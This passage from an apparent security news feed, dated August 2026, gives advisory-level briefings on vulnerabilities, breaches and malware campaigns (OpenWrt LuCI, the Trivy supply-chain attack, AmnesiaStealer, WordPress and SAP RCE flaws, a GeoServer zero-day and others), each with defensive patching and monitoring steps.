First: Inventory every GeoServer instance in your environment. This sounds obvious. It often isn't — GeoServer nodes get stood up for project work and drift out of the asset register.

Second: If public access isn't operationally required, restrict it now. Network ACL, authenticated reverse proxy, or firewall rule in front of the GeoServer port — pick one and do it today.

Third: If public access is unavoidable, layer WAF rules to flag SQL injection patterns against GeoServer endpoints, particularly those hitting JSON array operations. WAF is a speed bump, not a fix.

Fourth: Instrument for unexpected outbound connections from the GeoServer process. RCE means an attacker shell; that shell beacons out. Catching it early is the difference between an incident and a breach.

Fifth: Monitor GeoServer's release channels. When a patch drops, treat it as a P1 regardless of what else is queued.

More on active exploitation trends this week: SAP Commerce Cloud RCE Exploit Hits Days After Patch, Three Critical OpenWrt LuCI Flaws Allow Root RCE

Three Critical OpenWrt LuCI Flaws Allow Root RCE

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 06:00:00 GMT

Three vulnerabilities in OpenWrt's LuCI web management interface — two rated CVSS 9.9 critical — let authenticated users escalate to root and execute arbitrary code on the underlying host. OpenWrt runs on a substantial chunk of consumer routers, small-business gateways, and embedded networking hardware worldwide. If you're running LuCI and haven't patched, that's the action item. Everything else below is context.

The three flaws

CVE-2026-72842 — CVSS 9.9 Critical

The LuCI container management app (luci-app-lxc) has an ACL inconsistency: low-privileged authenticated users can reach backend container management routes without proper authorization checks. A path traversal in the lxc_name parameter allows an attacker to escape container directories and control host-side scripts executed through lxc.hook.start-host — which run as root. The GitHub Security Advisory is GHSA-jf59-v86x-fwf2.

CVE-2026-72841 — CVSS 9.9 Critical

The OpenVPN LuCI app (luci-app-openvpn) fails to validate the instance_name2 parameter during file upload. Authenticated users can write arbitrary files outside the intended directory via path traversal, including placing content into system paths that survive reboots — giving persistent root-level access. Advisory: GHSA-jjcx-c284-2qv8.

CVE-2026-72840 — CVSS 8.8 High

An overly permissive ACL definition in luci-mod-system-mounts hands write access to /etc/crontabs/root to users scoped only for mount configuration. Any user in that ACL group can append cron entries via ubus, which the default busybox crond daemon executes as root within a minute. Advisory: GHSA-v5f9-62c7-cw29.

What to do

Fixes are in the upstream OpenWrt LuCI repository. The immediate priority ordering:

Update LuCI. If your OpenWrt version has a package update available for the affected apps, apply it now.
Block LuCI from the WAN. LuCI should never be reachable from the public internet — only from your local network. Confirm this in your firewall rules.
Remove the affected apps if you don't use them. If you're not running LXC containers or an OpenVPN server through LuCI, uninstall luci-app-lxc and luci-app-openvpn entirely.
Audit LuCI user accounts. Both critical flaws require authentication. The shorter your LuCI user list, the smaller the exposure window.

CVE-2026-72842 and CVE-2026-72841 are the priority — both achieve root code execution via different paths in apps that ship as optional packages. CVE-2026-72840 affects luci-mod-system-mounts, a component that's closer to the default configuration, so don't deprioritize it entirely.

Router firmware is notoriously under-patched. If you manage a fleet of OpenWrt devices — in a lab, a field deployment, or an MSP context — this is worth a sweep. OpenWrt's package manager (opkg) can be scripted, and you're not going to catch this from the console alone.

Trivy, Not LiteLLM, Drove the March Supply Chain Breach

Dave "Kilobaud" Ferris — Sat, 15 Aug 2026 04:30:00 GMT

The attribution on the March 2026 supply chain incident has been revised, and the revision matters for any security team still working through their exposure.

New analysis from SOCRadar, reported by SecurityWeek, shows that approximately 95 percent of the 2,188 organizations identified in the dataset were compromised before the malicious LiteLLM packages appeared on PyPI. Those packages were published March 24. The actual campaign started March 19, when the first malicious Trivy build was published. Data collection began eighteen minutes later.

By March 22 and 23, the compromised Trivy container images were active on Docker Hub and the attack was already running at scale.

What Trivy did versus what LiteLLM did

Trivy, Aqua Security's open-source container vulnerability scanner, was the initial infection vector. The malware embedded in the tampered builds behaved like a worm: it harvested credentials from the host environment, then used the stolen developer secrets to modify and poison downstream packages — a chain that eventually reached LiteLLM.

LiteLLM's role was downstream and derivative. Attackers injected a .pth file into the poisoned releases that executed at Python interpreter startup, neatly sidestepping install-script protections. But the credential collection had already been running for five days by the time those releases were pulled.

SOCRadar characterizes LiteLLM as "the closing act, not the whole play."

What the dataset shows

From SOCRadar's analysis of the credential haul:

Over 1,000 organizations had JWT tokens and authentication tokens exposed
More than 1,100 had committer email addresses taken
A single organization lost approximately 3,477 secrets — cloud keys, SSH keys, API tokens — in one campaign pass
Confidence breakdown across the 2,188-organization dataset: 56 percent high, 39 percent medium, 6 percent low

The problem with security tooling as attack surface

The LiteLLM story was always going to be the one that got named. A PyPI package poisoned for 40 minutes has a version number, a pull timestamp, and a tidy remediation step: check your lockfile, rotate credentials if you installed it. That is the kind of thing a security advisory can communicate cleanly.

Trivy is a different category of problem. Vulnerability scanners live inside CI/CD pipelines with elevated permissions by design — they access the environments they audit. When the tool doing the checking is the compromised one, the blast radius is everything it touched during normal operation, not just the narrow window where a bad package was available on PyPI.

That gap — five days of Trivy-based collection versus forty minutes of LiteLLM availability — is where the actual scale of this incident lives. The package pulled from a registry in under an hour is easy to find in retrospect. The scanner that processed every build for five days straight is harder to isolate, and the log trail is usually in whatever your CI/CD system happens to retain.

What to check if you haven't already

If Trivy ran in your pipelines between March 19 and March 24, 2026, treat that window as potentially compromised and work the same credential category list SOCRadar flagged: cloud provider keys first, SSH private keys second, Kubernetes service account tokens third, database passwords fourth. Pull your build logs to scope which systems Trivy touched. Audit authorized_keys files and RBAC bindings for any service accounts that were active.

The LiteLLM check — which pip install logs from March 24 — is still worth doing. It just shouldn't be the only check.

Source: SecurityWeek — Trivy, Not LiteLLM Behind the 2,500 Org Compromise

Scottish Crown Office Breach May Spread Across Agencies

Morgan "airgap" Reyes — Fri, 14 Aug 2026 22:00:00 GMT

Scotland's Crown Office and Procurator Fiscal Service (COPFS) — the country's national prosecution authority — has confirmed a data breach originating at a third-party service provider, Dark Reading reported on August 14.

Confirmed: COPFS suffered unauthorized access via a vendor that services the agency. An investigation is active.

Not yet confirmed: Data types affected. Record count. Identity of the third-party supplier. Whether the intrusion has been contained.

The concern: The same vendor may service other Scottish government departments. If so, COPFS is not the final notification — just the first.

Third-party breach multipliers are not hypothetical. When a service provider operates across multiple agencies — shared case management, managed IT services, document handling — a single compromise cascades horizontally through clients who each assumed they were isolated. Scotland's government ecosystem is not immune to that pattern.

As of this writing, Scotland has not publicly named the vendor. No formal guidance has been issued to other agencies. Whether the third party has notified all potentially affected clients is unconfirmed.

Assessment — LOW confidence on scope. The breach at COPFS is confirmed. Whether it extends to other agencies remains under active investigation. Investigators' use of "potentially widening," as reported by Dark Reading, signals authorities have reason to believe the exposure is broader than one organization — but that is not yet established on the record.

What agencies should verify now:

Which third-party vendors have access to sensitive case, personnel, or citizen data
Whether vendor environments are shared across other government clients
Do not wait for an official notification — contact vendors directly

Developments are expected. This story will update as details are confirmed.

Source: Dark Reading, August 14, 2026

Seven Arrested in €30M Commerzbank Account Fraud

Morgan "airgap" Reyes — Fri, 14 Aug 2026 20:00:00 GMT

Seven arrests. Two countries. €30 million stripped from Commerzbank customer accounts.

Germany's Federal Criminal Police Office (BKA) charged three suspects in Europe. Brazil's Polícia Federal arrested four more. The operations were coordinated, announced Thursday, and aimed at a group that had exploited a vulnerability at a third-party service provider to pull funds directly from customer accounts — not a phishing run, not a credential-spray campaign. They had back-end access.

BleepingComputer and The Record both confirmed the enforcement action, citing BKA and Polícia Federal statements.

Confirmed

€30M extracted from Commerzbank customer accounts (BKA-confirmed)
4 arrested in Brazil by Polícia Federal, Thursday
3 charged in Europe by BKA-led operation, Thursday
Attack vector: vulnerability exploited at an unnamed service provider with back-end connectivity to Commerzbank
Mechanism: access enabled direct fund withdrawals, not credential collection alone

The Service Provider Flaw

The specific vulnerability and the service provider's identity have not been disclosed in available reporting. What is confirmed: the attackers reached deep enough into banking infrastructure to authorize outbound transfers. That matters — a credential or intercepted session token typically requires additional steps to move money; back-end access compresses that chain considerably.

Charging documents will clarify the technical entry point. Until then: unconfirmed. Do not fill in the gap.

What's Not Confirmed

The service provider's name or the specific flaw exploited
Whether the underlying vulnerability has since been patched
Number of Commerzbank customers affected
Whether the seven arrested represent the full operation or whether additional suspects remain outstanding
How long fraudulent withdrawals went undetected before the investigation triggered arrests

What to Watch

BKA typically releases detailed indictment summaries after initial arrest announcements. Polícia Federal briefings on financial cybercrime arrests follow within weeks. Both are the primary sources to monitor for the service provider's identity and technical specifics.

Third-party access to financial back-ends is a specific and underreported attack surface. Beacon CRM's breach via an exposed AWS key — disclosed today, affecting over 1,000 charities — runs the same structural pattern at a different scale: service provider compromised, downstream victims pay. For prior cross-border enforcement context, INTERPOL's Operation First Light ran 5,811 arrests across 61 countries in mid-2026.

Also today: Shell under investigation after Clop claims 89GB theft. ShinyHunters hits RingCentral — 1.6 million accounts.

France Confirms DGFIP Breach; Hacker Claims 600K

Morgan "airgap" Reyes — Fri, 14 Aug 2026 20:00:00 GMT

Confirmed. France's Directorate General of Public Finances — Direction générale des finances publiques, DGFIP — acknowledged unauthorized access to its systems in late June 2026. The Record broke the confirmation today.

Status

Access confirmed. French authorities state that someone gained unauthorized entry to DGFIP systems in late June by stealing or misusing employee identity credentials. Account compromise — not a disclosed software vulnerability.

600,000 victim claim. Unconfirmed. The threat actor asserts 600,000 individuals are affected. DGFIP has not verified that figure. Treat as adversary claim pending independent corroboration.

Data exfiltrated. Not confirmed publicly. DGFIP has not disclosed what records, if any, were removed from its systems.

Why This Matters

DGFIP administers tax collection, public accounting, and financial management for the French state. Its databases hold tax returns, income declarations, and financial disclosure data for individuals and businesses across France. If the 600,000 figure holds, this ranks among the larger government-sector data exposures in Western Europe in 2026.

The entry vector — credential misuse, not a zero-day — is the same playbook seen repeatedly this year: acquire working credentials, authenticate legitimately, operate quietly. Harder to detect than exploit chains and outside most automated vulnerability-scan coverage entirely.

What's Not Confirmed

The 600,000 figure is the attacker's claim, not verified by DGFIP or independent investigators.
Whether exfiltrated data includes personally identifiable information, financial records, or both.
The identity or affiliation of the threat actor.
Whether access reached internal systems only or also external-facing portals used by taxpayers.

What to Watch

GDPR imposes a 72-hour breach notification window once a data controller confirms personal data exposure. If DGFIP concludes personal data was exfiltrated, a formal notification to France's CNIL data-protection authority follows — triggering additional mandatory public disclosure.

Active investigation. No attribution announced.

Also developing today: RingCentral Breach — ShinyHunters Claims 1.6M Accounts. Earlier: Trezor — 14,000 Customers Exposed via ShipMonk.

AmnesiaStealer Hijacks macOS Browser Sessions

Marisol "Fuse" Delgado — Fri, 14 Aug 2026 18:00:00 GMT

Jamf researchers have documented a new Rust-built macOS infostealer named AmnesiaStealer, delivered through counterfeit GitHub download pages using ClickFix social engineering. It doesn't just steal credentials — it overwrites macOS Safe Storage keys afterward, leaving saved browser passwords permanently unrecoverable. Findings were reported by SecurityWeek on August 14.

What it steals

The infection runs a three-stage chain triggered by a ClickFix terminal-paste prompt. A LaunchDaemon lands for persistence across reboots. AmnesiaStealer then harvests:

Saved passwords and keychain contents
Chromium-based browser data (Chrome, Brave, Arc, Edge)
Safari cookies
Apple Notes
Local documents

The browser session hijacking module

Beyond a credential dump, AmnesiaStealer clones the victim's browser profile and launches it headless, establishing a live remote-control session over the Chrome DevTools Protocol — approximately 3fps screencasting with full keyboard, mouse, and tab input. The attacker operates inside an already-authenticated session without needing to crack or replay the stolen cookies.

The destruction piece

AmnesiaStealer overwrites macOS Safe Storage encryption keys after exfiltration. Chromium-based browsers use these keys to protect locally saved passwords; once overwritten, those credentials are gone from the victim's device — not copied elsewhere, gone. Jamf identifies this as intentional malware behavior, not a side effect.

The malware also attempts to bypass macOS's Transparency, Consent, and Control (TCC) privacy framework and uses OS version-specific branching logic to adapt across macOS releases.

What to actually do

The hook is social — someone pasted a Terminal command from a web page. This delivery method has been in wide use against macOS users since at least July, and this isn't Jamf's first macOS stealer find this year — CrashStealer in July used the same distribution class.

If exposure is suspected:

Treat keychain and all Chromium-browser saved passwords as fully compromised — rotate before re-saving anything
Saved passwords may not be recoverable from the browser if Safe Storage was overwritten; pull from a dedicated password manager if you have one
Audit /Library/LaunchDaemons/ for unexpected entries
Pull Jamf's full technical analysis for IOCs before closing the investigation

For security teams: any macOS endpoint where a user ran an unexpected Terminal command in the last 48 hours is a containment priority. A separate macOS screen sharing authentication bypass is also being actively exploited today — macOS is having a rough Thursday.

macOS Screen Sharing Auth Bypass Exploited in Wild

Morgan "airgap" Reyes — Fri, 14 Aug 2026 18:00:00 GMT

Exploitation confirmed.

The Netherlands' National Cyber Security Centre (NCSC) is warning organizations that attackers are actively exploiting an authentication bypass in macOS Screen Sharing. The campaign accelerated after public proof-of-concept exploit code emerged. Source: BleepingComputer, August 14, 2026.

Payload confirmed. Observed post-exploitation activity: deployment of a Monero cryptocurrency miner. Cryptojacking, not ransomware — but unauthorized remote access on a compromised host means full execution capability, regardless of what the current operators chose to run.

CVE status. A specific CVE identifier has not been confirmed in available open sources as of publication time. Unconfirmed — treat accordingly.

Patch status. No official Apple patch has been announced as of this writing. Assume any macOS host with Screen Sharing enabled and reachable is exposed.

What to do now

If Screen Sharing is not operationally required: disable it.

→ System Settings → Sharing → Screen Sharing → toggle off

This eliminates the exposed attack surface regardless of patch timeline.

If Screen Sharing must remain active: restrict inbound access at the network layer. macOS Screen Sharing (VNC) runs on TCP port 5900. Firewall rules scoping that port to known management hosts only are an effective interim control. Host-based and network-perimeter rules both apply.

Detection posture: monitor for sustained high CPU from unexpected processes, new outbound connections to cryptocurrency mining pools, and processes spawned under a remote-access account context. Endpoint detection that flags cryptominer behavior should catch the observed payload class even without a signature for the initial access vector.

No CVE, no patch, active public PoC in circulation. Watch for an Apple security advisory and a potential CISA KEV addition.

Related: Apple is separately rolling out on-device Threat Notifications for mercenary spyware targets — a different threat vector on the same platform. For macOS malware context, see PAMStealer and the Mac threat ecosystem. More Apple platform vulnerabilities and malware coverage in the Apple topic hub.

SAP Commerce Cloud RCE Exploit Hits Days After Patch

Marisol "Fuse" Delgado — Fri, 14 Aug 2026 16:30:00 GMT

Patch released. Exploitation started. Seventy-two hours is not a remediation window — it is the distance between "patched" and "breached."

Threat intelligence company Defused confirmed active attacks against a maximum-severity remote code execution vulnerability in SAP Commerce Cloud, with exploitation traffic observed within three days of SAP's patch release. The fix was part of SAP's August 2026 Security Patch Day cycle.

What Happened

SAP's August Security Patch Day included a maximum-severity RCE affecting Commerce Cloud. Within days, Defused observed active exploitation attempts in the wild. The vulnerability class is remote code execution — meaning an attacker who reaches a vulnerable instance can run arbitrary code on the underlying server without needing to authenticate first, or with minimal access depending on the specific flaw.

No CVE number was included in feed sources at time of writing. BleepingComputer's report carries the full technical detail from Defused; follow it for version specifics and indicators of compromise.

Why Commerce Cloud Is a High-Value Target

SAP Commerce Cloud is the e-commerce and B2B portal backbone for some of the world's largest companies — manufacturing, retail, consumer goods, energy. An RCE on an internet-facing Commerce Cloud instance can provide access to customer PII, payment integrations, and internal SAP system connections. Maximum severity on a platform like this means maximum business impact. Attackers know that.

What to Do

Apply the August 2026 SAP Security Patch Day updates now. If your SAP basis team or managed service provider hasn't confirmed this cycle is complete for Commerce Cloud, that conversation happens today.
Prioritize Commerce Cloud over lower-severity items. If your patch schedule is phased, move this to the front.
Check the SAP Support Portal for the specific security note, affected version ranges, and any available workarounds if immediate patching is not possible.
Review Commerce Cloud application logs for anomalous behavior — unexpected process spawns, unusual outbound network connections, or irregular API calls from the application tier.
Audit network exposure. Administration interfaces should not be internet-reachable. If they are, restrict access to known IP ranges immediately while patching proceeds.

The Honest Timeline

Three-day patch-to-exploit turnaround on a max-severity enterprise platform flaw is not unusual anymore — it is the baseline. Automated patch-diffing lets attackers reverse-engineer a fix and reconstruct the vulnerability faster than most organizations can schedule a maintenance window.

The remediation window your organization's patch policy assumes probably does not account for this. If your policy says "patch critical vulnerabilities within 30 days," that policy is writing checks your security posture cannot cash.

Patch Commerce Cloud. Then review your logs as if you were already compromised — on a three-day exploitation timeline, verifying you are not is worth the hour it takes.

Source: BleepingComputer — Max severity SAP Commerce Cloud flaw now targeted in attacks

Clop Claims 89GB Shell Theft; Investigation Open

Morgan "airgap" Reyes — Fri, 14 Aug 2026 14:30:00 GMT

Shell confirmed it is investigating a "potential incident" after the Clop extortion group listed the oil and gas company on its data-leak site, claiming to have stolen 89 gigabytes of data.

Status

Shell investigating. Confirmed. The company acknowledged an inquiry in a statement reported by BleepingComputer. Shell has not confirmed unauthorized access — only that a potential incident is under review.

Clop's 89GB claim. Unconfirmed. Clop listed Shell on its extortion portal with an 89-gigabyte figure. No data samples have been published as of this writing. That is consistent with the group's standard hold-and-pressure cadence before a self-imposed publication deadline.

Initial access vector. Not disclosed. Shell has not confirmed how any access may have occurred. Clop has not specified an entry point or exploit chain in its initial listing.

Clop's 2026 Campaign Context

The group is not a new actor. Clop ran the MOVEit file-transfer campaign in 2023, ultimately affecting over a thousand organizations. Their operational model has shifted toward pure data-theft extortion — no encryption, just exfiltration and staged exposure.

In July 2026, the group resumed active operations targeting PTC Windchill and FlexPLM product-lifecycle management environments via CVE-2026-12569, an unauthenticated remote code execution flaw. Shell operates large, complex enterprise IT environments across energy, logistics, and trading functions — whether today's incident shares infrastructure or entry vector with the Windchill campaign is unconfirmed.

What's Not Confirmed

The 89GB volume is Clop's assertion. Not independently verified.
Whether the data is operational, employee, customer, or commercial in nature.
Whether a Shell subsidiary or joint-venture system rather than Shell corporate is the actual target.
Whether Clop has set an internal publication deadline and what that window is.

What to Watch

Clop's documented pattern runs in stages: list the target, set a countdown, publish sample data, release the full dataset. Shell is at step one.

If Shell concludes unauthorized access occurred, a formal breach notification is likely within 72 hours under applicable regulatory frameworks. Whether CISA or the energy sector's E-ISAC issues advisory guidance will signal how the incident is assessed beyond Shell's own investigation.

Earlier Clop coverage: Clop Targets PTC Windchill and FlexPLM — July 2026 Campaign. Also developing: ShinyHunters Hits RingCentral, 1.6M Accounts Exposed — separate actor, same day.

ShinyHunters Hits RingCentral: 1.6M Accounts Exposed

Morgan "airgap" Reyes — Fri, 14 Aug 2026 12:00:00 GMT

1.6 million accounts. July breach. Data published.

What's Confirmed

ShinyHunters accessed RingCentral's systems in July 2026 and exfiltrated account records. The group published the stolen data. BleepingComputer reported the exposure via the Have I Been Pwned breach notification service. SecurityWeek confirmed the data publication.

Exposed fields confirmed: names, physical addresses, email addresses, phone numbers. Confidence: confirmed by breach notification indexing and independent reporting.

Initial access vector: unconfirmed as of this writing. No CVE is attached to this incident.

ShinyHunters — The Pattern

Not a new group. Not a new method. ShinyHunters operates a well-documented mass-exfiltration and extortion playbook targeting SaaS platforms and large account databases:

July 2026: Politie and Odido, Netherlands — 6.2 million records via vishing and SIM-swap-assisted access.
July 2026: Microsoft mapped ShinyHunters-linked actors abusing three Salesforce OAuth paths for over a year — none required a Salesforce vulnerability.

Pattern: target cloud SaaS, exfiltrate PII at scale, publish to drive extortion pressure or headline attention. No ransomware required.

What the Exposed Data Enables

Analysis — 1.6 million records pairing names, email addresses, phone numbers, and physical addresses for a business telecom platform constitute a high-quality targeting set. RingCentral's user base skews enterprise: IT admins, operations staff, finance teams. Expect:

Spear-phishing against RingCentral account holders, especially admins with downstream access to business systems.
SIM-swap attempts using the phone number field against carriers that rely on phone-based identity verification.
Credential-stuffing if any portion of the 1.6 million accounts reused passwords across services sharing the same email address.

Treat the breach as staged for follow-on targeting, not a completed operation.

If You're a RingCentral Customer

Enable MFA on the RingCentral account if not already active — time-based OTP or hardware key, not SMS where avoidable.
Alert employees in IT, finance, and admin roles to treat unexpected RingCentral-themed contact — email, phone, or text — as elevated phishing risk.
Check Have I Been Pwned to confirm whether specific addresses from your organization appear in the dataset.
Lock down any accounts sharing email addresses or phone numbers with RingCentral credentials — password reset and session invalidation across services.

RingCentral has not published a public incident response page as of this writing. Watch the vendor's trust and security channels for updates.

Also this week: Beacon CRM breach exposes supporter data from 1,000+ UK charities — different vector, same class of credential-enabled cloud access. Trezor discloses 14,000-customer breach via ShipMonk — supply-chain path.

Beacon CRM Breach Hits 1,000+ Charities via AWS Key

Morgan "airgap" Reyes — Fri, 14 Aug 2026 10:00:00 GMT

1,000+ charities. One leaked AWS access key. July 27–28, it was used.

What Happened

Beacon, a UK-based CRM provider serving the charity sector, disclosed on August 14 that attackers accessed its AWS environment using a compromised access key. Beacon's updated investigation finding: the key "may have been exposed in publicly available JavaScript build artifacts."

Timeline:

July 27: Earliest observed malicious activity.
July 27–28: Data transferred out of the AWS environment.
Early August: Initial breach disclosure to affected charities.
August 14: Updated investigation findings published.

Confidence: Breach confirmed by the vendor. Root cause attributed to exposed credential; investigation ongoing.

Scope

Impacted: 1,000+ charities and non-profit organizations using Beacon's platform.
Data exposed: supporter PII — names, email addresses, phone numbers, postal addresses.
Not exposed: financial data. Beacon states no bank account numbers, sort codes, card numbers, or card security details were stored on the platform.

Several UK charities have issued public statements. The UK Charity Commission is monitoring the situation and has issued guidance to affected organizations.

Attribution

No group has claimed responsibility. No evidence of published data as of this writing. Beacon's own investigation hit limits: "Specific objects, exact destination of the downloads, and definitive attribution...cannot be determined from available logs."

Unknown actor. Unknown destination. Supporter data is somewhere — and so far, no one can say where. Treat affected individuals' records as actively staged for phishing until evidence says otherwise.

Root Cause

AWS access key exposed in public JavaScript build artifacts. Known failure mode — secrets bundled into client-side JS at build time, visible to anyone reading page source or diffing release archives. This one was found and used.

If you operate SaaS on AWS and ship JavaScript to users: audit your build artifacts for embedded credentials. Automated secret scanners exist for this. Run them before an attacker does.

Also this week: Trezor discloses 14,000-customer breach via logistics partner ShipMonk — a different vector, same class of supply-chain exposure.

WordPress 7.0.4 Patches High-Severity RCE Flaw

Marisol "Fuse" Delgado — Fri, 14 Aug 2026 10:00:00 GMT

WordPress 7.0.4 shipped a security release patching a high-severity remote code execution vulnerability affecting WordPress 4.7 through 7.0.3. The fix is backported across all affected branches. SecurityWeek reported the disclosure on August 13 and the advisory is tracked publicly on GitHub as CVE-2026-65640, CVSS 8.8 (High). Update now.

What the Flaw Does

The vulnerability lives at the intersection of WordPress's file-upload validation and how ImageMagick processes image files. WordPress checks files by extension when they're uploaded. ImageMagick, however, checks by examining file contents. An attacker with Author-level permissions or higher can craft an image file with a benign extension — say, PNG — that contains embedded PostScript code in its data. When WordPress passes that file to the PHP Imagick extension for processing, ImageMagick recognizes the PostScript content and hands it to Ghostscript for rendering. Ghostscript executes it.

The outcome is code execution on the web server under the permissions of the web server process — and from there, depending on the server setup, the attacker's options expand.

Three conditions must all be true for the flaw to be exploitable:

The WordPress account used for the upload has Author, Editor, or Administrator privileges
The PHP Imagick extension is installed on the server
Ghostscript is installed on the server

Imagick with Ghostscript is common in managed WordPress hosting environments where rich image processing is enabled by default. It's not universal, but it's not rare.

The Fix

WordPress 7.0.4 modifies the file load function to verify file contents before passing them to Imagick — the check happens before Ghostscript ever processes the input. Per Patchstack's analysis cited in SecurityWeek's coverage, the patch closes the validation gap that allowed the content-type mismatch to be exploited.

If your WordPress installation is on auto-updates, check Dashboard → Updates to confirm 7.0.4 is applied. If you're managing updates manually or through a deployment pipeline, prioritize this cycle.

What to Do

Update to WordPress 7.0.4 (or the backported version for your branch, per the GitHub advisory). This is the only fix.
Check your extension stack. If Imagick isn't required for your workflows, removing it eliminates this attack surface — and a class of similar file-processing vulnerabilities that follow the same pattern.
Scope your Author accounts. Exploitation requires authenticated upload access. Reduce the number of accounts with that permission level to what the site actually needs. Unused contributor accounts are standing attack surface.
Managed hosting customers — your provider may have already applied server-level mitigations or pre-applied the WordPress update. Don't assume; verify independently through the admin dashboard.

The authentication requirement puts this below the critical-tier threshold compared to unauthenticated RCE, but contributor and author accounts are targets. Credential stuffing against WordPress login pages is a reliable attacker playbook, and a valid Author session unlocks this vulnerability completely.

Related: BdThemes Supply Chain Creates Rogue WordPress Admins covered a recent attack that seeded unauthorized admin accounts across plugin-using sites — another demonstration that the contributor/admin account layer is an active attack target. And Three CVEs Chain to Admin Takeover in WordPress Login Plugin shows the plugin ecosystem adding its own exposure on top of core.

Check the full list of actively exploited vulnerabilities on our KEV tracker.

GeoServer Zero-Day SQL Injection Exploited in Wild

Morgan "airgap" Reyes — Fri, 14 Aug 2026 08:00:00 GMT

Active exploitation confirmed. No patch. GeoServer installations reachable from untrusted networks are at immediate risk.

What's Known

SecurityWeek reported today (August 14) that threat actors are actively exploiting an unpatched SQL injection in GeoServer, the open-source Java geospatial server. Exploitation path: SQL injection → remote code execution. No CVE assigned as of this writing.

Confidence: single-source (SecurityWeek). Credible; not independently confirmed.

Exposure Surface

GeoServer serves geographic data over WMS, WFS, and WCS endpoints. Government agencies, municipalities, utilities, and environmental monitoring systems run it — many instances are public-facing by design. Wide deployment, frequent internet exposure.

No affected version range disclosed. No vendor advisory. No CVE. No patch.

If your instance is publicly reachable: live risk.

Immediate Actions

No patch exists. Available mitigations:

Remove internet exposure. Firewall to authorized IPs or move behind VPN until a patch ships.
Restrict access. For instances that must stay up, deny all source IPs except known-good ranges at the perimeter.
Check logs. Look for malformed or anomalously long filter parameters in WMS/WFS request logs.
Monitor the GeoServer project for a security advisory. Treat it as P1 when it arrives.

CISA KEV: not listed as of this writing. Active exploitation of an unpatched RCE meets KEV criteria. Track updates at KEV tracker.

Source: SecurityWeek — Hackers Exploiting Unpatched GeoServer Zero-Day

Apple Notifies Users of Mercenary Spyware Attacks

Morgan "airgap" Reyes — Fri, 14 Aug 2026 02:00:00 GMT

Active wave confirmed. Apple issued "Threat Notifications" to an unspecified number of iPhone users stating it detected a "mercenary spyware attack targeted at your iPhone." BleepingComputer, August 14, 2026.

What This Notification Means

Apple's Threat Notification system does not send precautionary alerts. A notification means Apple's internal telemetry identified indicators consistent with a targeted attack against that specific Apple ID or device. Apple states its threshold before sending is high confidence — not suspicion, not anomaly.

"Mercenary spyware" is Apple's term for commercial surveillance software sold to governments and state-aligned clients. Highly targeted. Expensive. Typically deployed against journalists, lawyers, activists, opposition politicians, and human rights workers. If you received a notification: this is not a phishing test and it is not a mistake.

Confidence on actor and specific tooling: Not yet identified in public reporting as of this writing. Attribution to a named vendor or government client: pending.

What Notified Users Should Do

Enable Lockdown Mode immediately. Settings → Privacy & Security → Lockdown Mode. This hardens the attack surface that mercenary spyware tools typically exploit — restricting JavaScript compilation, message link previews, FaceTime from unknown callers, and other entry vectors. The performance trade-off is real and acceptable given the threat.
Update iOS to the latest release. Apple patches the zero-click and zero-day entry points these tools exploit. Running an outdated build past this point is a choice, not bad luck.
Get professional forensic support. Apple's notification is not a forensic determination of active compromise. To confirm and remediate, contact Access Now's Digital Security Helpline or reach Citizen Lab through the University of Toronto's Munk School. Self-assessment with standard tools is not sufficient for mercenary-grade implants — some leave minimal traces and actively evade on-device detection.
Do not click the notification itself to access further details. Navigate to Apple's support page for threat notifications directly from a trusted browser. Notification UI can be spoofed.

If you did not receive a notification: Not included in this wave. That is not a forensic clearance for prior campaigns.

Prior Waves

Apple has issued Threat Notifications in prior waves — following NSO Group Pegasus campaigns documented by Citizen Lab, following commercial spyware used against journalists and activists across multiple countries, and following broader European mercenary spyware disclosures. This is an established channel, not a new feature. Prior waves preceded researcher disclosures by days to weeks.

Analysis — labeled as assessment: Whether this wave reflects a newly identified campaign or previously undetected targeting from an existing operation is unconfirmed. The breadth of the current notification wave — enough recipients to generate public discussion — suggests systematic identification of a campaign rather than isolated incidents. Expect follow-up research disclosure from Citizen Lab, Amnesty International's Security Lab, or a named vendor PSIRT within days.

Previously on 0dayNews: Citizen Lab Confirms Pegasus on MEP's Phone · Apple topic hub · Mobile topic hub

Belgium eID Browser Extension Bugs Enable RCE

Morgan "airgap" Reyes — Fri, 14 Aug 2026 02:00:00 GMT

Confirmed: severe vulnerabilities in the browser extension underpinning Belgium's national electronic identity (eID) system fully compromised the country's citizen authentication trust framework, enabling remote code execution against user accounts, according to Dark Reading research published August 13.

Belgium's eID cards are the primary authentication mechanism for millions of citizens accessing government services, banking portals, and health records. The authentication flow depends on a browser extension that bridges the smart card reader to web services. When that extension is compromised, the trust chain collapses at its foundation — the card itself is irrelevant if the software layer mediating its use is hostile.

What researchers found

The extension ran under elevated browser privilege — the necessary access for reading smart card interfaces. Researchers found the vulnerabilities severe enough to characterize the trust model as "fully compromised." Specific CVE assignments had not been disclosed publicly as of this report. Confidence on exploitation status: unconfirmed in the wild; treat as theoretical unless updated.

The research frames the Belgium case as an instance of a broader structural problem: browser extensions used as authentication proxies represent a high-value target that routinely receives less scrutiny than the underlying protocols they serve. Extensions run persistent, privileged code in the browser context — enough access to intercept authentication tokens, relay credentials, or stage local execution.

Scope

Belgium's eID is issued to all Belgian citizens and resident aliens over 12 years old. The extension is required — not optional — for completing authentication to the government's digital services platform (MyGov/CSAM) and for many banking integrations. Precise affected version range: unconfirmed pending vendor advisory publication.

What to do

Belgian citizens: Verify the eID browser extension is updated to its latest available version in your browser's extension manager. Disable automatic activation of the extension on non-government sites if your browser permits granular host permissions.
IT administrators and organizations relying on eID for workforce authentication: Monitor the Belgian Centre for Cyber Security (CCB) for an official advisory and patch timeline. Apply updates on an emergency basis once available — this is a national identity infrastructure issue, not a routine patch cycle item.
Security teams: Review any service-side session logs for anomalous authentication activity originating from Belgian eID flows. Flag for inspection pending the full technical disclosure.

[Analysis] Browser extensions continue to widen enterprise attack surface in ways that perimeter-focused defenses miss. A compromised extension that is trusted by both the browser and the authentication server has the same effective access as the legitimate user — without triggering most authentication anomaly detections. National identity implementations that depend on extension-mediated smart card auth face the same supply chain risk as any other extension, with significantly higher blast radius. End-analysis.

Source: Dark Reading, August 13, 2026 — Belgian Centre for Cyber Security

Microsoft Patches LegacyHive Windows Zero-Day

Dave "Kilobaud" Ferris — Fri, 14 Aug 2026 00:00:00 GMT

Microsoft has released security patches for a Windows zero-day vulnerability nicknamed "LegacyHive," per BleepingComputer. The vulnerability was disclosed after July 2026 Patch Tuesday — entering the public record at the most inconvenient point in the monthly release cycle, with the longest possible runway before a scheduled vendor fix.

